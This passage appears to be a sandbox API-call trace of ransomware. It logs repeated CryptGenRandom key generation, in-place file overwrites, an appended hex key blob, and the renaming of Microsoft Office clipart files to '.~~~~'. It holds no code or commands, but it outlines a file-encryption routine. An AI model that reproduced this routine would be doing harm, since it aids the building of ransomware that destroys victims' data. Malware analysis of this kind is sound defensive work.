	[0110.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.852] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.852] GetLastError () returned 0x0
	[0110.853] GetLastError () returned 0x0
	[0110.853] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.853] GetLastError () returned 0x0
	[0110.853] GetLastError () returned 0x0
	[0110.858] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffb7ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.858] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x4816, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x4816, lpOverlapped=0x0) returned 1
	[0110.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.859] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.860] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.860] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.860] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.860] CloseHandle (hObject=0x140) returned 1
	[0110.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.860] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.~~~~")) returned 1
	[0110.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.862] GetLastError () returned 0x0
	[0110.862] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.864] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.864] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.864] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23085409451) returned 1
	[0110.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabb18550, dwHighDateTime=0x1d60e1e)) 
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f108
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f108 | out: hHeap=0x300000) returned 1
	[0110.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d098
	[0110.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.865] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.865] GetLastError () returned 0x0
	[0110.865] GetLastError () returned 0x0
	[0110.865] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.865] GetLastError () returned 0x0
	[0110.866] GetLastError () returned 0x0
	[0110.874] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe168, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.874] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1e98, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x1e98, lpOverlapped=0x0) returned 1
	[0110.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.875] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.875] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.875] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.875] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.875] CloseHandle (hObject=0x140) returned 1
	[0110.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.876] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.~~~~")) returned 1
	[0110.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.920] GetLastError () returned 0x0
	[0110.921] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.922] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.922] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.922] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23091247059) returned 1
	[0110.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabb8a970, dwHighDateTime=0x1d60e1e)) 
	[0110.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f220
	[0110.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f220 | out: hHeap=0x300000) returned 1
	[0110.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282da18
	[0110.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.923] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.923] GetLastError () returned 0x0
	[0110.924] GetLastError () returned 0x0
	[0110.924] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.924] GetLastError () returned 0x0
	[0110.924] GetLastError () returned 0x0
	[0110.929] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffd714, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.929] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x28ec, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x28ec, lpOverlapped=0x0) returned 1
	[0110.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.931] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.931] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.931] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.931] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.932] CloseHandle (hObject=0x140) returned 1
	[0110.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.932] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.~~~~")) returned 1
	[0110.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.933] GetLastError () returned 0x0
	[0110.933] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.935] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.935] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.935] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23092539194) returned 1
	[0110.935] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabbb0ad0, dwHighDateTime=0x1d60e1e)) 
	[0110.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f258
	[0110.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f258 | out: hHeap=0x300000) returned 1
	[0110.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282dd10
	[0110.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.936] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.936] GetLastError () returned 0x0
	[0110.937] GetLastError () returned 0x0
	[0110.937] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.937] GetLastError () returned 0x0
	[0110.937] GetLastError () returned 0x0
	[0111.043] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff4dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.062] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb24, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xb24, lpOverlapped=0x0) returned 1
	[0111.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.063] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.064] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.064] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.064] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.064] CloseHandle (hObject=0x140) returned 1
	[0111.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.~~~~")) returned 1
	[0111.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.065] GetLastError () returned 0x0
	[0111.225] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.225] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.225] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.226] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23121590023) returned 1
	[0111.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabe5e390, dwHighDateTime=0x1d60e1e)) 
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f6f0
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f6f0 | out: hHeap=0x300000) returned 1
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e858
	[0111.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.227] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.227] GetLastError () returned 0x0
	[0111.227] GetLastError () returned 0x0
	[0111.227] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.227] GetLastError () returned 0x0
	[0111.227] GetLastError () returned 0x0
	[0111.230] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff760, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.230] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x8a0, lpOverlapped=0x0) returned 1
	[0111.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.232] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.232] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.232] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.232] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.232] CloseHandle (hObject=0x11c) returned 1
	[0111.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.232] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.~~~~")) returned 1
	[0111.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.233] GetLastError () returned 0x0
	[0111.235] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.236] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.236] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.236] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23122598787) returned 1
	[0111.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabe5e390, dwHighDateTime=0x1d60e1e)) 
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f728
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f728 | out: hHeap=0x300000) returned 1
	[0111.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
